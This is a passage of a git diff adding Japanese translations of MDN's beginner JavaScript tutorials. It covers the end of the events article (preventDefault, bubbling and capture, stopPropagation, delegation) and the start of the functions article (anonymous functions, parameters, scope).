+ <label for="lname">Last name: </label> + <input id="lname" type="text"> + </div> + <div> + <input id="submit" type="submit"> + </div> +</form> +<p></p></pre> + +<div class="hidden"> +<pre class="brush: css notranslate">div { + margin-bottom: 10px; +} +</pre> +</div> + +<p> さあちょっとした JavaScript です — ここでは <a href="/ja/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> イベントハンドラー(フォームがサブミットされるとサブミットイベントが発火します)の中で、テキストフィールドが空かどうかテストするだけのとても簡単なチェックを実装します。もし空なら、イベントオブジェクトの <code><a href="/ja/docs/Web/API/Event/preventDefault">preventDefault()</a></code> 関数— これでフォームの送信を抑制します — を呼び、それからフォームの下にあるパラグラフに、何が問題なのかユーザーに伝えるためのエラーメッセージを表示します:</p> + +<pre class="brush: js notranslate">const form = document.querySelector('form'); +const fname = document.getElementById('fname'); +const lname = document.getElementById('lname'); +const para = document.querySelector('p'); + +form.onsubmit = function(e) { + if (fname.value === '' || lname.value === '') { + e.preventDefault(); + para.textContent = 'You need to fill in both names!'; + } +}</pre> + +<p>言うまでもなく弱っちいフォームの検証です — 例えばフォームに空白や数字が入っていても止められません — が、例としては十分です。結果はこうなります。</p> + +<p>{{ EmbedLiveSample('Preventing_default_behavior', '100%', 140, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>メモ</strong>: ソースコード全体については、<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/preventdefault-validation.html">preventdefault-validation.html</a> (及び <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/preventdefault-validation.html">ライブ実行</a>も) をご覧ください。</p> +</div> + +<h3 id="Event_bubbling_and_capture" name="Event_bubbling_and_capture">イベントのバブリングとキャプチャリング</h3> + +<p>ここで最後に説明していくのは、滅多には遭遇しませんが、理解できていないととても苦痛になるかもしれない事柄です。ある一つの要素で同じイベントに紐付く二つのハンドラが活性化された時に何が起きるのかを説明するのが、イベントのバブリングとキャプチャリングという二種類のメカニズムです。わかりやすくするために次の例を見てください — <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> 例を新しいタブで開いてください (<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">ソースコード</a> もまた別のタブに)。ライブでも下で見られます:</p> + +<div class="hidden"> +<h6 id="Hidden_video_example" name="Hidden_video_example">Hidden video example</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Show video box example</title> + <style> + div { + position: absolute; + top: 50%; + transform: translate(-50%,-50%); + width: 480px; + height: 380px; + border-radius: 10px; + background-color: #eee; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.1)); + } + + .hidden { + left: -50%; + } + + .showing { + left: 50%; + } + + div video { + display: block; + width: 400px; + margin: 40px auto; + } + + </style> + </head> + <body> + <button>Display video</button> + + <div class="hidden"> + <video> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4"> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> + </div> + + <script> + + const btn = document.querySelector('button'); + const videoBox = document.querySelector('div'); + <span style="background-color: #000044; color: #ffffff;">const </span>video = document.querySelector('video'); + + btn.onclick = function() { + displayVideo(); + } + + function displayVideo() { + if(videoBox.getAttribute('class') === 'hidden') { + videoBox.setAttribute('class','showing'); + } + } + + videoBox.addEventListener('click',function() { + videoBox.setAttribute('class','hidden'); + }); + + video.addEventListener('click',function() { + video.play(); + }); + + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_video_example', '100%', 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>これは内に {{htmlelement("video")}} 要素を含む {{htmlelement("div")}} を表示したり隠したりするとても簡単な例です。</p> + +<pre class="brush: html notranslate"><button>Display video</button> + +<div class="hidden"> + <video> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> +</div></pre> + +<p>{{htmlelement("button")}} がクリックされると、<code><div></code> のクラス属性を <code>hidden</code> から <code>showing</code> に変更するので、ビデオが表示されます(例の CSS にこの二つのクラスが含まれており、それぞれはボックスの位置をスクリーンの外、内にします)。</p> + +<pre class="brush: js notranslate">btn.onclick = function() { + videoBox.setAttribute('class', 'showing'); +}</pre> + +<p>では二つばかり <code>onclick</code> イベントハンドラーを追加します — 最初のは <code><div></code> に、二つ目は <code><video></code>にです。ビデオの外側の <code><div></code> 領域がクリックされた時にはボックスがまた隠れるようにし、ビデオそのものがクリックされたらビデオが再生されるようにしたいというわけです。</p> + +<pre class="notranslate">videoBox.onclick = function() { + videoBox.setAttribute('class', 'hidden'); +}; + +video.onclick = function() { + video.play(); +};</pre> + +<p>が、ここで問題が — 今度はビデオをクリックすると再生が始まりますが、それと同時に<div>が隠されるようになってしまいました。ビデオが <code><div></code> の中にあるので(ビデオは div の一部ですから)、ビデオのクリックは上に挙げた両方のイベントハンドラーを実際に動かします。</p> + +<h4 id="Bubbling_and_capturing_explained" name="Bubbling_and_capturing_explained">バブリングとキャプチャリングの説明</h4> + +<p>親要素を持つ要素 (このケースでは {{htmlelement("video")}} です) においてイベントが発火すると、モダンブラウザーは二つの異なる段階に分けて動作します — キャプチャリングする段階とバブリングする段階です。</p> + +<p><strong>キャプチャリング</strong>の段階で行われることは……</p> + +<ul> + <li>要素の最上位の親要素 ({{htmlelement("html")}} に <code>onclick</code> イベントハンドラーがキャプチャリング段階に登録されているか調べ、あればそれを実行します。</li> + <li>次に <code><html></code> 要素の内側の要素に移って同じ事をし、また次の内側の要素にと、実際にクリックされた要素に到達するまで繰り返されます。</li> +</ul> + +<p><strong>バブリング</strong>の段階では、全く逆の事が起きます。</p> + +<ul> + <li>ブラウザーは実際にクリックされた要素の <code>onclick</code> イベントハンドラーがバブリング段階に登録されていれば、それを実行します。</li> + <li>次に直上の親要素に移動して同じ事をし、また次へ、<code><html></code> 要素に到達するまで繰り返します。</li> +</ul> + +<p><a href="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png"><img alt="" src="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png" style="display: block; height: 452px; margin: 0px auto; width: 960px;"></a></p> + +<p>(大きな図を見るにはクリックしてください)</p> + +<p>モダンブラウザーのデフォルトでは、全てのイベントハンドラーはバブリング段階に登録されます。ですのでこの例の場合では、ビデオをクリックするとクリックイベントは <code><video></code> 要素から外側の <code><html></code> 要素に進んで (バブリングして) いきます。従って:</p> + +<ul> + <li><code>video.onclick...</code> ハンドラーがあるので実行し、最初ビデオが始まります。</li> + <li><code>videoBox.onclick...</code> ハンドラーがあるので実行し、よってビデオも隠されます。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>記</strong>: 両方のイベントハンドラーが存在する場合バブリングとキャプチャリングでは、キャプチャフェーズが最初に走り、バブリングフェーズが続きます。</p> +</div> + +<h4 id="Fixing_the_problem_with_stopPropagation" name="Fixing_the_problem_with_stopPropagation()">stopPropagation()で問題を解決する</h4> + +<p>困った動作ですが、解決する方法があります! 標準的なイベントオブジェクトには <code><a href="/ja/docs/Web/API/Event/stopPropagation">stopPropagation()</a></code>という関数があって、ハンドラーのイベントオブジェクトで起動されると、このハンドラーは実行されますが、イベントが上位に伝播しないようにするので、これ以上のハンドラーは実行されなくなります。</p> + +<p>よって我々の今の問題は、先のコードブロック、第二のハンドラー関数をこのように変更して解決できます:</p> + +<pre class="brush: js notranslate">video.onclick = function(e) { + e.stopPropagation(); + video.play(); +};</pre> + +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">show-video-box.html ソースコード</a>のローカルコピーを作成してみて、自分で修正してみるか、修正された結果は <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">show-video-box-fixed.html</a> で見ることができます (こちらで<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box-fixed.html">ソースコード</a>も見られます)。</p> + +<div class="note"> +<p><strong>メモ</strong>: なんだってキャプチャリングとバブリングなんてあるのか? それはね、むかーしむかしの悪き時代、ブラウザーに今ほど互換性がなかった頃、ネットスケープはキャプチャリングだけを、IE はバブリングだけを使っていたのさ。W3C が動作について標準化と合意を作ろうと決めた時、結局どっちもシステムに入れることにし、モダンブラウザーはそのように実装されたのさ。</p> +</div> + +<div class="note"> +<p><strong>メモ</strong>: 上で述べたように、デフォルトでイベントハンドラーはバブリング段階に登録され、そしてほとんどの場合はこれが妥当です。もし本当にイベントをキャプチャリング段階の方に登録したいのであれば、<code><a href="/ja/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>を使って、省略可能な第三引数に <code>true</code> を指定すれば実現できます。</p> +</div> + +<h4 id="Event_delegation" name="Event_delegation">イベントの移譲</h4> + +<p>バブリングでは<strong>イベント移譲</strong>という機能も活用できます — イベント移譲という概念は、たくさんある子要素のどれかしらがクリックされた際に何らかのコードを実行したいという場合に、個々の子要素一つ一つにイベントリスナーを設定するのではなく、親要素のイベントリスナーを設定すれば子要素のイベントリスナーからバブリングしてくるという事実に依拠しています。</p> + +<p>良い例としては、一連のリストアイテムです — どれかがクリックされたらメッセージをポップアップさせたいときには、親の <code><ul></code> 要素の <code>click</code> イベントリスナーに設定すれば、イベントはリストアイテムからバブリングしてきます。</p> + +<p>この概念はより深く David Walsh のブログで、たくさんの例とともに解説されています。— <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a> を見てください</p> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に来ましたが、最も大事な情報を覚えていますか? 次に移動する前に、さらなるテストでこの情報を保持しているか検証できます — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Events">Test your skills: Events</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>ウェブイベントについて、今の学習初期段階で知るべき事は全部わかったはずです。上で述べたように、実のところイベントは JavaScript のコアには属しません — それらはブラウザーの Web API に属するものです。</p> + +<p>また重要な事は、JavaScript の使われ方によって異なるイベントモデルがありうる事も理解しておいてください — Web API とブラウザーの WebExtension や Node.js (サーバーサイド JavaScript) のような領域とでは。今あなたがそれらの領域について理解しなくてよいと思っていますが、ウェブ開発の事を学んでいくのにイベントの基礎を理解するのが役立つのは確かです。</p> + +<p>理解できない事があれば、気楽にまた記事を読み返したり、<a href="/ja/Learn#Contact_us">私達</a> に質問してください</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="http://www.quirksmode.org/js/events_order.html">Event order</a> (キャプチャとバブリングの議論) — Peter-Paul Koch による非常に詳細な作品。</li> + <li><a href="http://www.quirksmode.org/js/events_access.html">Event accessing</a> (イベントオブジェクトに関する議論) — Peter-Paul Koch によるもう 1 つの非常に詳細な作品。</li> + <li><a href="/ja/docs/Web/Events">イベントリファレンス</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/functions/index.html b/files/ja/learn/javascript/building_blocks/functions/index.html new file mode 100644 index 0000000000..636278ee2e --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/functions/index.html @@ -0,0 +1,407 @@ +--- +title: 関数 — 再利用可能なコードブロック +slug: Learn/JavaScript/Building_blocks/Functions +tags: + - API + - Article + - Beginner + - Browser + - CodingScripting + - Custom + - Functions + - Guide + - JavaScript + - Learn + - Method + - anonymous + - invoke + - 'l10n:priority' + - parameters +translation_of: Learn/JavaScript/Building_blocks/Functions +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">コーディングにおいて、不可欠なコンセプトが<strong>関数</strong>です。関数を使用することで、特定のタスクをこなすコードを定義し、保持しておいて、いつでも簡単なコマンドで呼び出すことを可能にしてくれます。同じコードを何度も打たなければならないよりとっても簡単です。この記事では関数の書き方や、関数を実行する方法、定義の仕方、スコープ、引数といった関数に関する基礎を学びます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、HTML と CSS への理解、<a href="/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript の関数についての基礎を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Where_do_I_find_functions" name="Where_do_I_find_functions">関数はどこにありますか？</h2> + +<p>JavaScript の中で、関数はあらゆるところに見つかるでしょう。実際、これまでのところすべての場面で関数を使用してきました。これについてはあまり触れてきませんでした。しかし、今こそ明確に関数について話し始め、本当に構文を探索する時期です。</p> + +<p>一対のかっこ — <code>()</code> — の機能である JavaScript の構造を使用するほとんどの場合、そして <a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for ループ</a>、<a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">while と do ... while ループ</a>、または <a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">if..else 文</a>のような一般的な組み込みの言語構造を使用<strong>していない</strong>場合、あなたは関数を使用していることになります。</p> + +<h2 id="Built-in_browser_functions" name="Built-in_browser_functions">ブラウザー組み込み関数</h2> + +<p>このコースではブラウザーに組込まれた関数をたくさん使ってきました。毎回テキスト文字列を操作したときには、こんな風に:</p> + +<pre class="brush: js notranslate">let myText = 'I am a string'; +let newString = myText.replace('string', 'sausage'); +console.log(newString); +// the replace() string function takes a string, +// replaces one substring with another, and returns +// a new string with the replacement made</pre> + +<p>あるいは毎回配列を操作したときには:</p> + +<pre class="brush: js notranslate">let myArray = ['I', 'love', 'chocolate', 'frogs']; +let madeAString = myArray.join(' '); +console.log(madeAString); +// the join() function takes an array, joins +// all the array items together into a single +// string, and returns this new string</pre> + +<p>また毎回乱数を作成したときには:</p> + +<pre class="brush: js notranslate">let myNumber = Math.random(); +// the random() function generates a random +// number between 0 and 1, and returns that +// number</pre> + +<p>...関数を使っていたのです!</p> + +<div class="note"> +<p><strong>メモ</strong>: これらの機能に慣れるために、必要なときにはこういった行をあなたのブラウザーの JavaScript コンソールにいつでも入力してみてください。</p> +</div> + +<p>JavaScript言語にはたくさんの組込み関数があるので、いろいろあるあなたのやりたい事を、全部をあなた自身で書かなくてもすみます。実は、あなたが呼び出して起動(走らせたり実行する事の別の言い方)するコードのいくつかは、JavaScript では書けない、ブラウザー組込み関数です — こういった関数の多くは背後のブラウザーのコードを呼び出していて、これらは JavaScript のようなウェブ言語ではなく、大半が C++のような低レベルのシステム言語で書かれています。</p> + +<p>ブラウザー関数のいくつかは JavaScript言語の核に含まれない事を心に留めておいてください — いくつかはブラウザー API の一部として定義されていて、もっと多くの機能を提供すべくデフォルトの言語の上で構築されています(詳しくは<a href="/Learn/JavaScript/First_steps/What_is_JavaScript#So_what_can_it_really_do">私たちのコースのこの以前のセクション</a>を見てください)。ブラウザー API のもっと詳しい使い方については、後の方のモジュールで見ていく事になるでしょう。</p> + +<h2 id="Functions_versus_methods" name="Functions_versus_methods">関数とメソッド</h2> + +<p>オブジェクトの<strong>メソッド</strong>の一部を、プログラマーは<strong>関数</strong>として呼び出します。構成された JavaScript オブジェクト内部の働きについては、まだ知る必要はありません — この後のモジュールで、オブジェクト内部の働きや自分でオブジェクトを作る方法について教える段階になってから覚えれば大丈夫です。今のところは、ウェブのあちこちにある関連したリソースを見ていると、メソッドと関数が混在している事があるとわかってもらいたいだけです。</p> + +<p>これまで利用してきた組込み関数は両方です: 関数でありメソッドでもあります。組み込みオブジェクトとそのメソッドと同様に、組み込み関数の一覧を<a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects">こちらで</a>確認できます。</p> + +<p>このコースのここまででもたくさんのカスタム関数を見てきました — ブラウザーの内部でではなくあなたのコードの中で定義された関数です。独自の名前の直後にカッコがついてるものを見かけたら、それはカスタム関数を使っているという事です。<a href="/docs/Learn/JavaScript/Building_blocks/Looping_code">繰返しの記事</a>で出てきた <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> の例(<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">ソースコード</a>はこちら)では、独自に作った <code>draw()</code> 関数が含まれていました。こんなやつです:</p> + +<pre class="brush: js notranslate">function draw() { + ctx.clearRect(0,0,WIDTH,HEIGHT); + for (let i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } +}</pre> + +<p>この関数は、{{htmlelement("canvas")}} 要素の内にランダムな円を 100描きます。同じ事をやりたい時には、いつでもこんな具合に関数を起動するだけです</p> + +<pre class="brush: js notranslate">draw();</pre> + +<p>繰り返しをする毎に何度も同じコードを書き上げるのではなく。関数にはあなたが書きたいどんなコードでも含められます — 関数の中から他の関数を呼ぶことだってできます。例に挙げた上の関数では、<code>random()</code>関数を 3 回呼んでいて、random関数は以下のコードで定義されています:</p> + +<pre class="brush: js notranslate">function random(number) { + return Math.floor(Math.random()*number); +}</pre> + +<p>ブラウザー組込みの <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> は 0 から 1 までの間の 10進数の乱数を作成するだけなので、私たちにはこの関数が必要でした。私たちは 0 から指定した数にわたる乱数が欲しかったのです。</p> + +<h2 id="Invoking_functions" name="Invoking_functions">関数の呼び出し</h2> + +<p>もうよくご存知でしょう、でも念のため … 定義した後で実際に関数を使うには、関数を走らせ — あるいは起動し — なければなりません。これはコードのどこかに関数の名前、直後にカッコの組を書けばできます。</p> + +<pre class="brush: js notranslate">function myFunction() { + alert('hello'); +} + +myFunction(); +// calls the function once</pre> + +<h2 id="Anonymous_functions" name="Anonymous_functions">匿名関数</h2> + +<p>ちょっと違う形式で定義されて起動される関数を見かける事があるでしょう。ここまでは関数をこのように作ってきました:</p> + +<pre class="brush: js notranslate">function myFunction() { + alert('hello'); +}</pre> + +<p>でも名前のない関数を作る事もできます:</p> + +<pre class="brush: js notranslate">function() { + alert('hello'); +}</pre> + +<p>これは<strong>匿名関数</strong>と呼ばれます — 名前がないんです! それだけでは何もしません。匿名関数はよくイベントハンドラで使われていて、例えば以下では関連づけられたボタンがクリックされるたび、関数の中のコードが走ります:</p> + +<pre class="brush: js notranslate">const myButton = document.querySelector('button'); + +myButton.onclick = function() { + alert('hello'); +}</pre> + +<p>上の例では、ページの中に選択してクリックするための{{htmlelement("button")}}要素が存在しなければならないでしょう。あなたはこのような例をここまでのコースで見てきましたし、ここから先の記事でもっと学習し、使い方を見ていく事になります。</p> + +<p>匿名関数を変数の値として代入する事もできます:</p> + +<pre class="brush: js notranslate">const myGreeting = function() { + alert('hello'); +}</pre> + +<p>この関数は次のように起動できます:</p> + +<pre class="brush: js notranslate">myGreeting(); +</pre> + +<p>関数に名前をつけたような効果があります。また関数を複数の変数の値として代入する事もできます:</p> + +<pre class="brush: js notranslate">let anotherGreeting = myGreeting;</pre> + +<p>結果、この関数はどちらの方法でも起動できます</p> + +<pre class="brush: js notranslate">myGreeting(); +anotherGreeting();</pre> + +<p>ですがこれは混乱するだけなので、やらないように! 関数を作成するときはこの形式でやった方が良いです:</p> + +<pre class="brush: js notranslate">function myGreeting() { + alert('hello'); +}</pre> + +<p>匿名関数は主にイベント発火 — ボタンがクリックされたとか — のレスポンスとして、一連のコードを走らせるだけのような場合に、イベントハンドラとして使われます。くりかえしですが、こんな具合です:</p> + +<pre class="brush: js notranslate">myButton.onclick = function() { + alert('hello'); + // I can put as much code + // inside here as I want +}</pre> + +<h2 id="Function_parameters" name="Function_parameters">関数の引数</h2> + +<p>関数には実行する時に<strong>引数</strong>が必要なものがあります — 関数のカッコとカッコの間に書かなければならない値で、関数が正しい仕事をするのに必要とされます。</p> + +<div class="note"> +<p><strong>メモ</strong>: 引数は、パラメーター、プロパティ、アトリビュート（属性）などと呼ばれる場合もあります。</p> +</div> + +<p>例えばブラウザー組込み関数 <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> は引数を必要としません。呼ばれるといつも 0 から 1 までの乱数を返します:</p> + +<pre class="brush: js notranslate">let myNumber = Math.random();</pre> + +<p>ですがブラウザー組込みの文字列関数 <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> は二つの引数が必要です — 主文字列から探すべき部分文字列と、部分文字列を置換する文字列です:</p> + +<pre class="brush: js notranslate">let myText = 'I am a string'; +let newString = myText.replace('string', 'sausage');</pre> + +<div class="note"> +<p><strong>メモ</strong>: 複数の引数を指定するときは、カンマで区切って書きます</p> +</div> + +<p>引数には省略可能 — 書かなくても良い — なものもある事に触れておくべきでしょう。省略された場合、関数はだいたいデフォルトに規定された動作を行ないます。例えば、配列の <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Array/join">join()</a> 関数のパラメータは省略可能です:</p> + +<pre class="brush: js notranslate">let myArray = ['I', 'love', 'chocolate', 'frogs']; +let madeAString = myArray.join(' '); +// returns 'I love chocolate frogs' +let madeAString = myArray.join(); +// returns 'I,love,chocolate,frogs'</pre> + +<p>もし結合/区切り文字を指定する引数が省略された場合、デフォルトとしてカンマが使われます。</p> + +<h2 id="Function_scope_and_conflicts" name="Function_scope_and_conflicts">関数のスコープと競合</h2> + +<p>{{glossary("スコープ")}}という言葉について説明しておきましょう — 関数を扱う際にはとても大切な概念です。関数を作成するとき、関数の中で定義されている変数や関数は、内部でそれぞれ独自の<strong>スコープ</strong>というものを持ちます。これはそれぞれが独自の小部屋に閉じ込められていて、別の関数の内部から、あるいはこの関数の外部のコードから触れられくなる事を意味しています。</p> + +<p>あなたのすべての関数の外側、一番の外側を、<strong>グローバルスコープ</strong>と呼びます。グローバルスコープで定義された値はすべて、コードのどこからでもアクセスできます。</p> + +<p>JavaScript がこう作られているのにはいくつも理由があります — が、主な理由はセキュリティと組織化のためです。時には変数にコードのどこからでもアクセスされないようにしたい場合もあるでしょう — どこかから呼び込んだ外部スクリプトが、あなたのコードをおかしくして問題を起す場合があるかもしれません。別の場所でたまたま同じ名前の変数を使っていて、衝突していたために。これは悪意をもってわざとやっている場合や、単なる偶然の場合もあります。</p> + +<p>そうですね、例えばある HTML ファイルが二つの外部 JavaScript ファイルを呼び出しているとして、そのどちらも同じ名前の変数と関数を定義しているとします:</p> + +<pre class="brush: html notranslate"><!-- Excerpt from my HTML --> +<script src="first.js"></script> +<script src="second.js"></script> +<script> + greeting(); +</script></pre> + +<pre class="brush: js notranslate">// first.js +let name = 'Chris'; +function greeting() { + alert('Hello ' + name + ': welcome to our company.'); +}</pre> + +<pre class="brush: js notranslate">// second.js +let name = 'Zaptec'; +function greeting() { + alert('Our company is called ' + name + '.'); +}</pre> + +<p>あなたが呼び出したいのはどっちも <code>greeting()</code>関数ですが、あなたには <code>first.js</code> ファイルの <code>greeting()</code> 関数しかアクセスできません(2 つ目は無視されます)。加えて、<code>second.js</code> ファイルで <code>let</code> キーワードで <code>name</code> 変数に 2度目の定義をしようとするとエラーになります。</p> + +<div class="note"> +<p><strong>注</strong>: この例を <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">GitHub でライブ実行</a> できます(<a href="https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">ソースコード</a>はこちら).</p> +</div> + +<p>あなたのコードの部品を関数の中に隔離するとこのような問題を避けられるので、これが一番良いやりかたと考えられています。</p> + +<p>これは動物園みたいなものです。ライオン、シマウマ、トラ、ペンギンはそれぞれの檻の中にいて、それぞれの檻の中のものにしか触れられません — 関数のスコープと同じ事です。もし彼等が他の檻の中に侵入できたら問題が起きることでしょう。良くて、知らない住人に囲まれて気まずい思いをする — 寒くて水だらけのペンギンの檻に入ったライオンやトラは酷い気分になるでしょう。最悪の場合、ライオンやトラはペンギンを食べてみようとするかも!</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14079/MDN-mozilla-zoo.png" style="display: block; margin: 0 auto;"></p> + +<p>動物園の管理人はグローバルスコープみたいなものです — 管理人はすべての檻の鍵を持っていて、エサを補充し、動物にうんざりし、などなど。</p> + +<h3 id="Active_learning_Playing_with_scope" name="Active_learning_Playing_with_scope">アクティブラーニング: スコープで遊んでみよう</h3> + +<p>スコープを示すための実際の例を見てみましょう。</p> + +<ol> + <li>まず <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html">function-scope.html</a> の例のローカルコピーを作成します。これには <code>a()</code> と <code>b()</code> という 2 つの関数と、<code>x</code>、<code>y</code>、<code>z</code> の 3 つの変数が含まれます。これらの変数のうち 2 つは関数内で定義され、もう 1 つはグローバルスコープ内で定義されます。また <code>output()</code> という 3番目の関数も含まれています。この関数は単一のパラメータを取り、ページの段落に出力します</li> + <li>ブラウザーとテキストエディターでサンプルを開きます</li> + <li>ブラウザーの開発者ツールで JavaScript コンソールを開きます。JavaScript コンソールで、次のコマンドを入力します。 + <pre class="brush: js notranslate">output(x);</pre> + 変数x の出力値が画面に表示されるはずです。</li> + <li>コンソールに次のように入力してみてください + <pre class="brush: js notranslate">output(y); +output(z);</pre> + どちらも、"<a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>"の一行のエラーが返されるはずです。なぜでしょうか？ 関数スコープのため、つまり <code>y</code> と <code>z</code> は <code>a()</code> と <code>b()</code> 関数の中でロックされているので、global スコープから呼び出されたときには <code>output()</code> はそれらにアクセスできません。</li> + <li>しかし、別の関数の中から呼び出されたときはどうでしょうか？ <code>a()</code> と <code>b()</code> を次のように編集してみてください： + <pre class="brush: js notranslate">function a() { + let y = 2; + output(y); +} + +function b() { + let z = 3; + output(z); +}</pre> + コードを保存してブラウザーに再ロードしてから、JavaScript コンソールから <code>a()</code> と <code>b()</code> 関数を呼び出してみてください。 + + <pre class="brush: js notranslate">a(); +b();</pre> + ページに <code>y</code> と <code>z</code> の値の出力が表示されます。<code>output()</code> 関数が他の関数の中、つまり表示される変数が定義されているのと同じスコープでそれぞれ呼び出されているので、これはうまくいきます。<code>output()</code> 自体はグローバルスコープで定義されているので、どこからでも利用できます。</li> + <li>今度は次のようにコードを更新してみてください： + <pre class="brush: js notranslate">function a() { + let y = 2; + output(x); +} + +function b() { + let z = 3; + output(x); +}</pre> + 保存してもう一度読み込み、JavaScript コンソールでもう一度試してみてください：</li> + <li> + <pre class="brush: js notranslate">a(); +b();</pre> + <code>a()</code> と <code>b()</code> の両方の呼び出しは <code>x</code> の値、つまり 1 が出力されます。これは <code>x</code> がグローバル変数であり、すべてのコード内どこでも利用可能であるため、<code>output()</code> の呼び出しが <code>x</code> と同じスコープではなくてもうまく動きます。</li> + <li>最後に、次のようにコードを更新してみてください： + <pre class="brush: js notranslate">function a() { + let y = 2; + output(z); +} + +function b() { + let z = 3; + output(y); +}</pre> + 保存してもう一度読み込み、JavaScript コンソールでもう一度試してみてください：</li> + <li> + <pre class="brush: js notranslate">a(); +b();</pre> + 今度は <code>a()</code> と <code>b()</code> の両方の呼び出しで、迷惑な "<a href="https://wiki.developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: <em>variable name</em> is not defined</a>" エラーが返されます — これは <code>output()</code> 呼び出しと、出力しようとしている変数が同じ関数のスコープにない、つまりこれらの関数呼び出しからは変数が参照できない状態だからです。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 同じスコープルールはループ (<code>for() { ... }</code> など) と条件ブロック (<code>if() { ... }</code>など) には適用されません。それらは非常によく似ていますが、同じものではありません。混乱しないように注意してください。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: <a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a> というエラーは、あなたが遭遇する最も一般的なエラーの 1 つです。このエラーが発生し、問題の変数が定義されていると確信できる場合は、変数のスコープを確認してください。</p> +</div> + +<ul> +</ul> + +<h3 id="Functions_inside_functions" name="Functions_inside_functions">関数の中の関数</h3> + +<p>別の関数内であっても、どこからでも関数を呼び出すことができます。これは、コードをきれいにする方法としてよく使われます。大きな複雑な関数がある場合は、いくつかのサブ関数に分解すれば分かります。</p> + +<pre class="brush: js notranslate">function myBigFunction() { + let myValue; 